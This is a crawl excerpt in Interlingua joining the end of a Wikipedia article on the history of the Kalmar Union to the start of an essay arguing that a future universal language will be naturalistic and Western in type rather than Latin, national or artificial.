tarde desirava le ultime alternativa. A causa del facto que le lettera nunquam esseva valide le poter del rege non esseva obligate obedir le restrictiones que es mentionate in le lettera. Le lucta inter iste duo principios characterisava tote le historia del union. Alcun election o transferentia de poter ab le populo al rege non es mentionate.\nRegina Margareta[modificar | modificar fonte]\n1353-1412\nMargareta Valdemarsdotter nasceva in le primavera 1353 como filia del rege Valdermar Atterdag e su regina Helvig de Slesvig. Illa maritava le rege norvegian Håkan Magnusson (1340-1380). 1363 quando illa habeva 10 annos. Ille deveniva tamben rege de Svedia 1362 e coregente insimul con su patre Magnus Eriksson. 1370, al etate de 17 annos illa parturiva su singule infante, Olof.\nJam in le initio como regina illa monstrava su capacitate como consiliero al sposo qui esseva plus vetule.\nQuando Håkan moriva in 1380 Olof esseva eligite como rege de Danmark. Su granpatre Valdemar moriva jam 1375 e Valdemar habeva promittite que le nepto de Margareta, Albrekt, devenirea rege ma Margareta habeva bon contactos con le episcopos e altere homines importante del stato e faceva prevaler su voluntate. Margareta esseva tutor de Olof. Quando rege Håkan de Norvegia moriva 1380 Olof , qui habeva 10 annos, hereditava le regno. Margareta governava ambe regnos con habilitate e fortia imponente e quando Olof moriva in 1387, al etate de 17 annos illa continuava governar malgrado que le lineage Mecklenburg habeva derectos hereditari e in Danmark e in Norvegia. Su titulo esseva \"sposa e patrono e tutor plenipotentiari de Danmark e Norvegia\".\n1388 illa esseva governator de Svedia post un accordo con nobilitates svedese in le fortalessa Dalaborg. Alora illa promitteva liberar Svedia ab del rege Albrekt de Mecklenburg e su soldatos german qui esseva odiate per le svedeses. Le 24 de februario illa vinceva in un battalia in Åsle presso Falköping e Albrekt e su filio esseva prisioneros. Post intervention del Hanse illa recipeva Stockholm 1398 in excambio con Albrekt e su filio. Stockholm habeva suffrite plure annos de alliantias anarchic german.\nJam 1396 Margareta habeva succedite facer su nepto Bogislav de Pomerania eligite como rege del tres regnos ma ille esseva fortiate cambiar nomine a Erik de Pomerania. Le 17 de junio 1397 ille esseva coronate in Kalmar e postea le union de Kalmar comencia.\nLe Union sub Margareta[modificar | modificar fonte]\n1353-1412\nFilia de Valdemar Atterdag\nRegina governante de Danmark e Norvegia 1387-1412\nRegina governante de Svedia 1389-1412\nMatre de Olof\nMargareta faceva reductiones de terra del nobilitate e in Danmark e in Svedia pro meliorar le economia del regno. Illa tamben augmentava le impostos lo que naturalmente non esseva popular. Illa esseva multo criticate a causa del multe bailos estranier illa nominava in castellos svedese. Margareta tamben constitueva dignitates ecclesial e seligeva ipse i.a. episcopos pro augmentar le possibilitates pro le Stato imprestar moneta ab le ecclesia. Post le anno 1398 il pare que illa resideva plus in Svedia que in Danmark. Post le morte de Margareta 1412 a causa de peste le monocratia esseva un poco alleviate. In Danmark le consilio del stato obteneva plus influentia e in Svedia rege Erik decideva annular un parte del reductiones de terra. Le nomination del episcopos eveniva sin conflictos obvie.\nLe Union sub Erik[modificar | modificar fonte]\n1382-1459\nNepto del soror de Margareta. Adoptate per Margareta\nRege de Svedia (Ericus) 1396-1439 con duo interruptiones\nRege de Norvegia (Erik III) 1389-1442\nRege de Danmark 1396-1439 (Erik VII)\nNulle infantes\nRege Erik regularmente visitava Svedia le prime annos post 1412 ma plus tarde del plus in plus rarmente. Il pare que ille nunquam visitava Norvegia. Como rege del Union ille essayava impedir e concurrer con le Hanse e le Ordine German lo que de facto esseva le scopo del union del Kalmar In general ille continuava le politica exterior de Margareta e il pareva que ille desirava integrar le tres regnos. Incontros del Union con consilieros del tres statos se incontrava in Copenhagen. Ille introduceva un insignia del union, un blason del union e un heraldo commun pro le tres regnos.\nIn 1429 ille arrangiava le Doana de Öresund e pro assecurar isto ille edificava le castello Kronborg in Helsingör. Nunc le Hanse debe pagar doana e al entrata e al exito del Mar Baltic. Su guerras tamben esseva fortunate e il pareva que le Hanse perderea le privilegios del mercato nordic.\nIn Svedia ille appunctava bailos danese e german, qui sovente esseva inapte pro le carga, sur le castellos svedese, e episcopos qui tamben esseva incompetente, lo que al fin resultava in revoltas. Le plus famose es le Revolta de Engelbrekt 1434. In plus Erik non voleva respectar le regno hereditari e essayava appunctar su parente Bogislav IX de Pomerania como herede al throno. Le impostos esseva augmentate e le doanas del urbes esseva excessive. Le nobilitate tamben non esseva contente quando illes esseva fortiate participar in guerras estranier.\nIn novembre 1434 le contrahentes decideva comenciar negotios e illos eveniva in Halmstad april-maio 1435. Le commandante Engelbrekt Engelbrektsson recipeva le castello e le provincia de Örebro\nIn le autumno 1435 Erik arrivava a Stockholm e le 14 de octobre ille de novo esseva recognoscite como rege si ille garantiva le promissas del election e respectar le constitution legal svedese. Le revolta in Svedia erumpeva de novo post curte tempore e alora le partes se incontrava in Kalmar in julio 1436. Le negotios resultava in un nove acto ma illo non esseva acceptate. Le 1 de septembre on esseva de accordo que Erik esseva rege de Svedia.\nLe consilieros danese e svedese se incontrava in julio 1438 in Kalmar ubi illes confirmava le union con pace eterne inter le tres statos, adjuta mutual in guerras e autonomia pro cata stato. Concernente le election de rege on esseva de accordo que nulle stato debeva eliger rege sin negotios con le altere statos. Iste convention esseva confirmate con un nove incontro in Jönköping in novembre 1439 ubi on decideva incontrar se de novo in Kalmar 1440 pro unir se de un nove constitution e eliger un rege del union.\nMa il se monstrava que Erik non intendeva obedir iste promissas e le 24 de septembre 1439 ille pro sempre esseva disthronate in Svedia. In Danmark ille alora jam esseva disthronate e in 1442 ille tamben perdeva le poter in Norvegia. Ille esseva substituite per le nepote Kristofer de Bavaria\nErik se installava sur su insula Gotland ubi ille edificava le fortalessa Visborg e comenciava piratar le naves del Hanse e del Ordine German. 1449 ille esseva assediate per le nove rege svedese Karl Knutsson e remitteva Gotland a Svedia. In le mesme anno ille cambiava domo a su ducato in Pomerania del west ubi ille habeva le nomine Erik I de Pomerania. Ille moriva 1459 e habeva nulle infantes.\nLe Union sub Kristofer[modificar | modificar fonte]\n1416-1448\nNepote de Erik de Pomerania\nRege de Svedia 1441-1448\nRege de Danmark 1440-1448 (Kristofer III)\nRege de Norvegia 1442-1448\nLe essayos de Erik de realisar un alliantia con Prussia e Burgund pro essayar conquirer Helsingborg e Helsingör esseva considerate menaciante per Danmark e a causa de isto le nepote de Erik, Kristofer de Bavaria, qui habeva 24 annos esseva eligite como rege de Danmark le 9 de april 1440. Le consilio svedese succedeva reciper promissas de Kristofer que ille intendeva reger Svedia secundo le voluntate del consilio. Ille esseva coronate como rege de Svedia in le cathedral de Uppsala 1441 e postea rege de Norvegia in Oslo 1442. Post isto ille esseva coronate como archirex in le Cathedral de Ribe. . Le regno de Kristofer es rememorate per su proclamation de un nove revidite version del Lege provincial de Magnus Eriksson, le Lege Provincial de Kristofer. In illo il esseva clarificate que Svedia esseva un regno electoral e que le rege debeva governar \"con su consilio in Svedia\". Le nove lege provincial fortificava le poter del nobilitate a costo del paisanos.\nKristofer divideva su tempore equalmente inter Danmark e Svedia ma il non es secur que ille del toto visitava Norvegia post le coronation in Oslo 1442. Durante le coronation ille habeva promittite que ille debeva divider su tempore equalmente inter le tres paises ma iste promissa ille rumpeva.\nDurante tote su tempore como rege Kristofer essayava obtener controlo de Gotland ubi le disthronate rege Erik habeva le fortalessa de Visborg como base pro un flotta de piratas que ragiava in le Mar Baltic. Per alliantias diverse Kristofer al fin succedeva isolar Erik cuje politica exterior non esseva fortunate. Kristofer moriva per un maladia in 1448.\nLe fragmentation del Union[modificar | modificar fonte]\nIn Svedia le esseva Karl Knutsson Bonde eligite como rege 1448. Alcun septimanas postea Karl essayava conquirer Gotland ab Erik e post resistentia dur in le urbes ille al fin poteva conquirer Visby excepte le fortalessa de Visborg in decembre 1448. Erik habeva contactos con rege Kristian in Danmark qui arrivava con un flotta e blocava le insula e finalmente le svedeses quitava le insula. Post negotios in Halmstad 1450 il esseva decidite que Danmark e Svedia debeva haber pace eterne e un tractato simile a illo de Kalmar 1438 esseva formulate.\nNove Union sub Kristian I[modificar | modificar fonte]\n1426-1481\nFilio de conte Didrik le felice de Oldenburg e Hedvig de Holstein\nRege de Danmark 1448 -1481\nRege de Norvegia 1450 -1481\nRege de Svedia 1457-1464\nPatre de Hans\nLe decision in Halmstad concernente pace eterne inter Danmark e Svedia tosto esseva interrumpite e le proxime annos plure combattos occurreva. In Svedia le opposition contra Karl cresceva e in 1457 ille iva in exilio a Danzig. Le 2 de julio Kristian esseva eligite como rege de Svedia post i.a. haber promittite que Gotland, Öland e Älvsborg pertineva a Svedia. In plus ille promitteva que le previe tractato de union deberea continuar esser in vigor. Ille besoniava multe moneta, i.a. pro su fratres e le proprie hereditario de Holstein augmentava le impostos. Al fin le svedeses faceva revolta e alora le disthronate Karl Knutsson poteva retornar 1464. Post le morte de Karl Knutsson 1470 Sten Sture esseva eligite como governator del stato. In junio Kristian affirmava le derecto del throno svedese. Post battalias inter svedeses e daneses in le provincia Halland 1470-71 negotios eveniva in Kungsäter. Le resultato de iste negotios es discutite. In junio Kristian arrivava con un flotta e attaccava Stockholm e durante un armistitio Kristian esseva recognoscite como rege per le Provincia Uppland. Intertanto Sten Sture recrutava un armea de paisanos in le provincias Närke e Östergötland ma ille esseva defendite in le Battalia de Brunkeberg (in Stockholm) le 10 de octobre 1471 quando Kristian ipse esseva vulnerate. Kristian moriva le 21 de maio 1481. Su filio, Hans, jam esseva eligite como hereditario del throno in Norvegia e Svedia. Le norvegianos esseva discontente con Kristian e post un nove incontro in Kalmar 1482 le rege esseva fortiate augmentar le influentia del nobilitate. Con iste decisiones tamben le consilio svedese poteva recognoscer le union. On decideva haber un nove incontro in Halmstad 1483 pro eliger un nove rege del union.\nLe Union sub Hans[modificar | modificar fonte]\n1455- 1513\nFilio de Kristian I e Dorotea de Brandenburg\nPatre de Kristian II\nRege de Danmark 1481-1513\nRege de Norvegia 1483-1513\nRege de Svedia 1497-1501 (Johan II)\nPatre de Kristian II\nKristian moriva le 21 de maio 1481. Su filio jam esseva eligite como herede del throno in Norvegia e Svedia. Le norvegianos esseva discontente con Kristian e post un nove incontro in Kalmar 1482 le rege esseva fortiate augmentar le influentia del nobilitate. Con iste decisiones tamben le consilio svedese poteva recognoscer le union. On decideva haber un nove incontro in Halmstad 1483 pro eliger un nove rege del union. Su plano del politica exterior a longe termino esseva includer Svedia de novo in le Union de Kalmar e rumper le poter del Hanse in le Mar Baltic. Pro succeder con isto ille se alliava con un stato russe. In le battalia de Rotebro 1497 le armea danese conquireva Sten Sture e su paisanos ab Dalecarlia. Le 26 de novembre ille esseva coronate como rege Johan II in Stockholm e su filio Kristian esseva recognoscite como heredetario del throno.\nSvedia quita le Union[modificar | modificar fonte]\nRege Hans moriva in februario 1513 e in le incontro del union in Halmstad 1517 le representantes svedese refusava recognoscer Kristian II como rege. Sten Sture decideva destruer del fortalessa Almarestäket del archiepiscopo Gustav Trolle. Trolle esseva protegite per le papa Leo X e a causa de isto Sten Sture esseva excommunicate per le archiepiscopo Birger Gunnersen in Lund. A causa de isto Kristian II poteva attaccar Svedia como un deber christian. Sten Sture esseva vulnerate seriosemente in le battalia sur le glacie del laco Åsunden e ille moriva postea.\nPost negotios con le consilieros statal svedese Kristian esseva recognoscite como rege de Svedia. Kristian esseva coronate in novembre 1520 e post tres dies de festivitates occurreva le Banio de sanguine de Stockholm quando le le adherentes del Partito Sture esseva occidite como hereticos. Kristian quitava le pais. Revoltas occurreva in Värmland e Småland e in augusto 1521 le commandante del provincia Dalecarlia, Gustav Vasa, esseva eligite como governator del stato.\nIn Danmark Kristian esseva menaciate per un revolta del nobilitate que se adhereva al oncle de Kristian, Fredrik de Holstein. Ille esseva eligite como nove rege danese in martio 1523 durante que Kristian fugiva al estraniero.\nSecundo le historico Erik Lönnroth, e le plus alteres, le problemas del union dependeva de un lucta inter duo theorias statal: le \"regime regal\" ubi le poter es concentrate al rege e le \"regime politic\" ubi le rege es controlate per su consilio statal e su promissa regal.\nNorvegia perde su autonomia[modificar | modificar fonte]\nLe tractato de union inter Danmark e Norvegia ancora esseva in vigor. In augusto 1523 arrivava duo consilieros del stato danese a Norvegia pro reciper Fredrik recognoscite como rege de Norvegia. Alora le norvegianos i.a. exigeva eliminar le \"heresia de Luther\" e que solmente norvegianos o daneses maritate con norvegianas deberea haber provincias. Le rege acceptava isto ma quando ille se sentiva secur sur le throno ille appunctava tamben daneses, mesmo in le consilio del stato.\nIn 1529 le prince regal Kristian arrivava a Norvegia con 14 naves e 1500 soldatos qui robava le joieles del Ecclesia de Maria in Oslo. Le archiepiscopo advocava le rege disthronate Kristian II qui con 2000 homines non poteva conquirer le fortalessas de Akershus e Bergenhus e in le primavera 1532 un armea danese-german consistente de 6000 homines le batteva. Kristian esseva imprisionate pro tote su vita\nPost le morte de Fredrik 1533 un guerra civil occurreva in Danmark, le Vendetta del contes. Ambe partes luctava pro cata uno su rege lutheran, Kristian II e Kristian III. In octobre 1536 Kristian II esseva eligite como rege de Danmark e ille alora promitteva que Norvegia in le futuro debeva esser un parte de Danmark. Tosto ille poteva nominar episcopos lutheran in Norvegia.\nLe consilio statal non habeva essite unite partialmente a causa del geographia. Le provincias esseva desde longe tempore concedite a nobiles danese e accordos de mercato inter Bergen e le Hanse esseva decidite in Danmark. Dunque Norvegia le ultime annos de facto non habeva essite un stato autonome e le decision de Kristian II solmente esseva un formalisation del praxis prevalente.\nNon ante 1905 esseva Norvegia de novo un stato autonome.","id":"","dump":"CC-MAIN-2016-18","url":"https:\/\/ia.wikipedia.org\/wiki\/Union_de_Kalmar","date":"2016-05-01T02:21:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-18\/segments\/1461860113553.63\/warc\/CC-MAIN-20160428161513-00179-ip-10-239-7-51.ec2.internal.warc.gz","language":"ina","language_score":0.9999885559,"language_script":"Latn","minhash_cluster_size":76,"top_langs":"{\"ina_Latn_score\": 0.9999885559082031}","num_words":4756,"character_repetition_ratio":0.058,"word_repetition_ratio":0.212,"special_characters_ratio":0.205,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":474.5,"cluster_detection":-1} +{"text":"Quarte parte\nPRESENTE E FUTURO DEL LINGUA UNIVERSAL\nCap. 1: Prevision del futuro e characteristicas\nCap. 2: Le nove lingua universal va esser de typo occidental\nCap. 3: Le nove lingua universal non pote esser le latino antique\nCap. 4: Le lingua universal non pote esser un lingua national\nCap. 5: Le lingua universal non pote esser un lingua artificial\nCap. 6: Factores favorabile al emergentia, al reapparition del lingua universal\nCap. 7: Civilisation mundial e le futuro del lingua universal\nCap. 8: Religion, ideologia e le futuro del lingua universal\nCap. 1 - PREVISION DEL FUTURO E CHARACTERISTICAS HUMAN\nPer le partes secunde e tertie nos cognosce le passato del civilisation e del lingua universal. In plus, nunc nos desira cognoscer lor futuro. Totevia, le futuro es celate fin quando illo arriva.\n- Nonobstante, nos possede medios pro previder le futuro, un poco simile al prognostico meteorologic. Iste medio es le studio del passato. Le vision historic del passato del lingua universal es un nove dimension pro le interlinguistica scientific. Le historicitate da un nove nobilitate al lingua universal. Le developpamento historic revela se como le sol realitate cultural del lingua universal. Negar le fundamental importantia del passato pro lingua universal es tanto absurde, quanto es le negation del importantia del passato pro le evolution del homine mesme. Le passato es un tresor, le qual debe esser appreciate e studiate pro previder le futuro. Investigationes historic es le scientia del developpamento social, cultural e linguistic. Historia non es solmente un collection de factos, como un collection de timbros postal. Solo un vision organic del developpamento pote augurar le futuro. Assi le passato del lingua universal determina su futuro, quando situationes analoge se repete plure veces. Ora le experientia monstra, que certe situationes analoge ha sempre producte le mesme consequentias. Nostre cognoscentias del passato es le lumine que illustra le futuro.\nTotevia, nos debe esser consciente del limite natural del prevision. Quando nos studia le passato de phenomenos non-human, phenomenos physic, le prediction del futuro es in principio precalculabile. In le phenomenos human, le experimentia non permitte previder con certitude. Non solo le situationes politic e cultural apparentemente simile, son complicate; ubi il tracta se de reactiones human, veni psychic complicationes que rende nostre prevision dubitose. Nonobstante, quando prediction con certitude non es possibile, tamben prevision con ben probabilitate es preciose. In plus, le probabilitate augmenta, si nos studia accuratemente le ingredientes stabile del natura human, le quales intra certe limites determina le decisiones human. Pro nostre studio nos pote distinguer in le natura human le sequente ingredientes, qualitates e facultates decisive:\na) le conscientia, que es le capacitate de observar lo que eveni in nostre physhe, e revela se in le poter de option.\nb) le voluntate, le qual significa le libertate de option. Le libertate non es absolute, ma limitate per le pression exterior de fortias non-human e human, que non pote esser controlate per le individuo volente. Le libertate es tamben limitate per le spiritual passato del individuo, que predispone le individuo a preferer certe optiones. Le decisiones del voluntate es adjutate per le capacitate de distinguer le ben e le mal.\nc) le religion, que es, como le voluntate, un immanente qualitate del conscientia. Ya, nostre conscientia insenia nos, que nos cognosce solmente un minime parte del universo, plen de misterios, como: - le morte e le desiro de un nove vita post le morte; - le voce interior del conscientia que dice lo que es bon e mal, e reproba nos, si nos face mal; - le origine e destination del universo e del homine; - le infinitate de spatio e tempore; - le distantias inimaginabilemente gigantesc in le universo; - le infinite e incomprensibile complexitate del microstructura del materia. Le religion es un tentativa de explicar misterios con le creative e ordinante presentia de un ESSER plus alte del homine. Le homine religiose recognosce que ille non es maestro del mundo, ma creatura e collaborator del ESSER transhuman ( transcendental), con le carga de cercar le planos del Esser transhuman (in su conscientia), e collaborar al realisation de iste planos. Le religion es multo importante pro le introduction del lingua universal, e pro su uso.\nd) Le ideologia, que es un fide, secundo le qual su adherentes vive in un mundo tanto convincente, que illes succede converter le alteres a lor ideologia. Le ideologia pote coincider o non coincider con le religion. Quando le adherente vive su religion in modo tanto convincente, que ille succede converter le non-adherentes a su religion, alora su religion es un ideologia pro ille. Totevia, quando ille solmente professa su religion, ma non vive lo como un ideologia, alora le religion non es un ideologia pro ille. Le religiones superior, tamben le christianismo, desde le medie etate, perde terreno contra le ideologias post-christian, inter le quales le nationalismo e le communismo son le plus potentes. Nationalismo es le culto del collectivitate del Stato.\nLe puncto debile del nationalismo e del communismo es, que le culto de un collectivitate human debilita le contacto personal con le Transhumano. Quia religion es un parte integrante del natura human, e le homine non pote viver completemente sin contacto con le Transhuman Realitate Spiritual, le religiones va prevaler tosto o tarde. In un maniera o altere, le religiones superior va renovar se e va cultivar le valores del nationalismo (equal derecto pro omne nationes al benes del terra), e va insister super le valores del communismo (justitia social, fraternitate, le capital financiari in le servicio del communitate - e non al servicio del privilegiates). Il es probabile que in iste processo de renovation, le religiones superior va disvestir se del incrustationes, que cela lor essentia per formalitates non essential et opposite a lor essentia.\nIntertanto, le ideologia del Rearmamento Moral possede un qualitate exceptional inter le ideologias, perque illo es fundate super le contacto del homine con le Transhuman Realitate Spiritual, presente in le conscientia de omne homines. Le ideologia del Rearmamento Moral es universal, dunque besonia un lingua universal.\ne) Le desiro de saper determina que le homine vole saper le 'como', le 'perque' e le 'proque' del phenomenos observate. Le desiro de saper produce le progresso cultural, tecnologic e linguistic.\nf) Le facultate de parlar procura al homine un efficiente medio de transmitter le pensata ab un persona al altere, et ab un generation al altere. Le lingua es le plus potente vehiculo de tradition. Totevia, le transmission del tradition non es possibile sin cambiamento, proque le homine adulte possede le voluntate de optar: transmitter le parte del tradition, que sembla importante o placente - et omitter le transmission del parte, le qual sembla non-importante o non placente. De altere parte, tamben le nove generation pote optar: adoptar lo que place e refusar lo que non place. In consequentia de tal optiones, le tradition cambia, poco a poco, ma sensibilimente.\nTamben le lingua cambia.\nIl es impossibile congelar le lingua in un stato arbitrarimente determinate de su developpamento. Le historia monstra, que le forma congelate deveni tosto morte e veni imbalsamate como lingua 'classic' - durante que le lingua vivente differentia se del classic, progressivemente, con le generationes successive. Pois le forma 'classic' deveni inintelligibile, incomprensibile al viventes qui non studia lo specialmente - como le latino classic es incomprensibile a italianos, espanioles, portugueses, franceses, angleses, rumanos etc. - como le greco classic es inintelligibile al grecos moderne - como le aramaico classic es incomprensibile al arabes etc.\nTamben le historic linguas universal cambia de un generation al altere, como nos pote observar in le documentos akkadian, aramaic, koine e greco-latin ordinate in sequentia cronologic. Quando le lingua universal non cambia plus, illa deveni moribunde. Pro le cambiamento il es necesse que le lingua sia in uso universal e passa ab un generation al altere, como lingua traditional. Quando un grande majoritate comencia a usar linguas sensibilemente differente del forma scripte del lingua universal, le uso restringe se ad un minuscule minoritate litterari, con le consequentia, que le lingua universal classic e le lingua vive veni divorciate. Alora le lingua universal classic e su dialectos vive deveni, inter un generation e le altere, sempre plus grande, si que le lingua universal deveni sempre minus universal, sempre minus usate, usque le lingua universal deveni moribunde. Nos pote observar lo bensissimo in le latino, moribunde in nostre dies. - Dunque le lingua universal non pote superviver, si illo non cambia con le cambiamentos del linguas vivente; ya, le lingua universal es le denominator commun del linguas vivente.\nSi le autoritates vole conservar le lingua universal inalterate, Le lingua va morir de congelation, como tamben le cultura mori de congelation, si on vole preservar lo incambiate. Pro le lingua vale como pro le homine, le sententia de Christo: \"Qui vole salvar su vita, va perder lo\".\nPro salvar le vita, le lingua universal debe perder un parte de su vita ab un generation al altere, e debe ganiar un pecia de nove vita ex le nove generation. Le historia es un processo de cambiamentos. Le studio del historia del lingua universal es le studio del processo de vita, morte e renascentia del lingua universal.\n2. - LE NOVE LINGUA UNIVERSAL VA ESSER DE TYPO OCCIDENTAL\nIn le prime capitulo nos ha explicate, que cognoscer le passato rende possibile previder le futuro al minus con un bon probabilitate. Quanto melio nos cognosce le typo del ultime lingua universal e le typo del linguas presente, tanto plus probabile pote esser nostre prognostico. Le vision historic permitte nos un vision satis clar del proxime futuro del lingua universal, malgrado certe eventos incognite del futuro. Assi nos pote declarer:\n1) le nove lingua universal es imminente, proque le intervallo inter due linguas universal nunca era longe - e ora le ultime lingua universal - le latino - es moribunde.\n2) le typo del nove lingua universal va esser analoge al typo del linguas universal del passato, dunque va esser un lingua natural, un denominator commun del linguas del cultura mundial, immediatemente comprensibile a homines active in le cultura mundial.\nCon iste previsiones in mente, qual es le plus importante evento cultural, linguistic et interlinguistic del presente? Le plus importante evento es certo le impacto, le attacco del greco-latino e del linguas occidental a omne altere linguas cultural. Le penetration es tanto profunde, que nonoccidental linguas deveni inundate per un continue currente de parolas occitental. Le impacto lingual es multo plus forte que unquam le traffico inter occidente et ultramar era in le passato. Le saliente evento del vintesime seculo es le superation de omne altere civilisationes per le scientia e technica occidental. Iste conquesta ha tornate le vita del societates non-occidental de alto in basso e del interior al exterior e ha affectate le vision e le sentimentos, le credentia e le conducta de omne non -occidentales in un modo multo plus profunde et intime que non importa qual altere evento. Le populos non-occidental, finora recluse in lor civilisationes, comencia ad adoptar non solmente le sistema tecnic et industrial del occidente, ma tamben le manifestationes exterior et interior del moderne civilisation:\nNon solmente vestes e cinemas, ma tamben institutiones social, politic et ideologic; le emancipation del feminas, le sistema scolar, le institution parlamentari.\nCon tal partes del civilisation occidental penetra in le linguas non-occidental tamben le correspondente elementos lingual ex le linguas occidental. Le occidentalisation del altere linguas progrede rapidemente. Super toto le lingua tecnic occidental extende su dominio super omne altere linguas. In plus, un parte del elite exotic frequenta universitates occidental e reeduca se in conceptos del civilisation moderne per medio de linguas occiental, si que le elites de omne populos familiarisa se con le linguas occidental. In summa, le mundo civilisate trova se in curso de unification per action occidental - e le mundo non habe altere entrata al cultura occidental que le linguas occidental.\nDe facto le Occidente exporta su tecnologia et exporta tamben su lingua tecnic. Le historia monstra, que, quando on importa un parte de un cultura, tosto o tarde on continua importar anque le altere partes del mesme cultura.\nLe non-occidentales comenciava a importar tecnologia occidental , ma tosto continuava a importar tamben formas de organisation , medios de communication, sistema de politica, sport, moda, arte, litteratura, ideologia e religion. Paises violentemente antioccidental ha adoptate un ideologia de origine occidental: le marxismo. In China, violentemente antioccidental, le lingua anglese ha un grande rolo.\nLe assalto del linguas occidental al linguas non-occidental es tanto potente e pervasive, que le vocabulario del linguas exotic deveni transformate in mode analoge al transformation del anglese e del germano per le impacto del latino, impacto que transformava le anglese, le germano, e partialmente anque le linguas slave, in linguas romanic o semi-romanic. Assi nos pote previder que le non-occidental linguas va devenir plus- minus romanic. Totevia, le linguas romanic, durante lor action transformante le linguas exotic, va esser inricchite per elementos non-occidental. Le resultato final va esser un lingua hibrida, le qual va hereditar le melior elementos del linguas romanic e non-romanic, occidental e non occidental; ma le character fundamental del lingua va remaner occidental, in accordo con le precedentes historic:\nLe akkadiano semitic, hibridante se con le sumerian non-semitic, preserva su character semitic; le aramaico, hibridante se con numerose linguas del Medie Oriente, prevervava su character original. Le koin', hibridante se con numerose linguas del Medie Oriente, preservava su character grec; e tamben le latino, hibridante se fortissimemente con greco, remane latino in su essentia. Le grande obra cultural e linguistic del Occidente va esser le creation del quadro, in le qual le societates e linguas separate va esser unite organicamente. - Finalmente le humanitate divise ab su origine, va esser unite tamben in lingua, in tanto que le nove lingua universal va continer toto lo que va esser commun in culturas e linguas.\nIn reguardo al substantia del nove lingua universal, ja le grande litterato italian LEOPARDI ha observate in 1820, que un parte del vocabulario es tresor international. Desde 1820 le tresor international es augmentate e deveni quasi un lingua complete: un lingua universal latente, per le qual le humanitate pote recuperar un lingua universal practicabile, como le humanitate usava quatro veces desde le epoca del akkadiano. Assi nostre ancestres ha indicate nos le bon strata pro recuperar nostre nove lingua universal.\nLe senso e sentimento linguistic, que es un parte integrante del natura human, demanda un lingua universal unitari e harmonic. Dunque le nove lingua universal debe esser basate super le 27 000 parolas e structuras grammatic jam grande parte commun in le linguas del cultura moderne, specialmente in le linguas romanic e semi-romanic.\nLe mundo nunca ha acceptate e nunca va acceptar un lingua universal que non es immediatemente comprensibile, como era le historic linguas universal. Le nove lingua universal non va continer essential elementos non cognite a homines culte. In le rar casos, ubi manca concordantia inter al minus tres grande linguas occidental, on debera contentar se de concordantia de due grande linguas, o mesmo acceptar monolingual parolas ubiqui cognite como parolas estranier.\nLe parolas e structuras commun son le grano del nove lingua universal - le grano que nos recolta. Le resto es vannatura, materia non usabile, que non debe entrar in le nove lingua universal. Omne elemento non familiar al homine culte es vannatura. On va excluder tamben le reconstructiones etimologic, si iste reconstructiones non son comprensibile pro le homine culte. Ya, le etimologia sovente exhuma le mortos, ma scientia e scola non pote facer les viver.\nIn interlinguistica scientific tamben nos debe 'inhumar le mortos et advocar le vivos': Nos debe preferer un commun denominator vive e comprensibile a un prototypo etimologic non comprensibile. - Le definitiones de parolas debe esser flexibile, pro unir omne nuances del signification.\n3 - LE NOVE LINGUA UNIVERSAL NON POTE ESSER LE LATINO ANTIQUE\nDurante le quatro mille annos de vita del lingua universal, necun lingua universal antique es retornate in uso. Il es impossibile retroponer le horologio del historia. Nos non pote revenir al uso del latino, Proque le latino es jam superate per le developpamento del linguas neolatin, romanic, le quales son plus adapte al pensata moderne. De plus, le latino non es comprensibile a omne participantes del cultura moderne, qui non ha studiate exactemente le latino; tampoco al 450 milliones de catolicos unite in le Ecclesia Roman. Pro iste ration le Ecclesia ha abolite le celebration del messa in latino, e le universitates papal doce in linguas national (italian, francese, germano). Hodie le latino es solo un lingua de traduction pro documentos ecclesiastic. Le texto original es elaborate per un commission in un lingua national ( italian, francese, german) pois traducte in latino. Totevia, latino non plus es usate como lingua universal vivente desde longe tempore. Dunque le expressiones latin es antiquate. Le traduction ex un lingua national al latino perde multe nuances preciose del original; expressiones moderne debe esser circumcripte. Parolas latin contine altere nuances non desirate in le texto moderne. In consequentia del developpamento de cultura e linguas, le senso del parolas hereditate ab le latino per le linguas moderne, es sovente considerabilemente cambiate, si que parolas etymologicamente identic significa un cosa in latino e altere cosa in le linguas moderne (ex. 'causa').\nPro phenomenos moderne et ideas cultural, le latino classic et ecclesiastic non ha parolas adequate. Leger un documento ecclesiastic in un lingua moderne e pois in latino, es pro le cognoscitor de ambe linguas, como leger duo textos analoge ma non identic: le un es plus elaborate e plus congenial, le altere es plus arcaic e minus intelligibile. Latino, lingua moribunde, desde seculos non possede plus un tradition vive; su structura es multo differente del structura del linguas moderne, e le ideas antiquate del latino impedi le interpretation del pensata oderne. Latino non ha parolas pro novitates. Le novitates linguistic emerge ex Levita cultural del populo que parla le lingua. Un nove idea emergente non pote esser expresse per un parola, proque le parola correspondente non existe ancora, ma debe esser forgiate. Totevia solo populos vivente pote forgiar parolas - le mortos non parla. In conseqentia: le latino non pote inricchir se per nove parolas pro nove ideas. - Latino deveni sempre plus antiquate.\nDe plus, con le passage del tempore, le ideas mesme cambia de senso. Post le passage de 700 a 900 annos, le correspondentia inter ideas e vocabulos ha cambiate tanto, que un texto scripte ante mille annos deveni definitivemente antiquate. In le linguas vive nos observa le adaptation del lingua al cambiamento del ideas, de un generation al altere. Ma in un lingua morte que non se developpa plus, le modernisation practicamente non pote esser realisate, si que le lingua antique, le latino, deveni ineffective.\nIn le CONCILIO VATICANO II le latino non poteva esser lingua adequate de mediation, non poteva functionar como lingua universal. Le commissiones ha studiate e discusse le temas in un lingua moderne, italian, francese, german, secundo le expertos, e lor final texto era in iste lingua. Ma iste texto non habe le derecto de esser 'texto official'. Iste derecto es reservate al LATINO, ancora lingua official del Ecclesia.\nAssi le massa del episcopos e le pressa debeva expectar le traductiones del officio Cardinal Bacci: labor penose que demandava dies e dies. Quando finalmente le texto 'official' latin veniva distribuite, le patres conciliari, mesmo illes qui era active in le commission, habeva pena a comprender le texto latin. \"Felice illes, (on legeva in 'Orientierung', periodico jesuita Zurich, reporto de Dr. Mario von Galli) - felice illes qui per fortuna poteva reciper le texto comprensibile in un lingua moderne\".\n\"English, English\", clamava in San Pietro le statounitetes, preste a pagar le simultan-traduction - interprisa non realisabile pro manco de interpretes competente tamben in linguas que in le materias tanto specialisate de teologia, moralia etc.\nVisto le fiasco del latino, que cosa face le concilio? Quo face le Papa?\nLatino, finora quasi 'lingua sacra', que habeva servite mille annos, veni eliminate ex quasi omne servicios del Ecclesia. Va nunc toto 'urbi et orbi' official facer se in italiano? Tal es jam in uso in le universitates 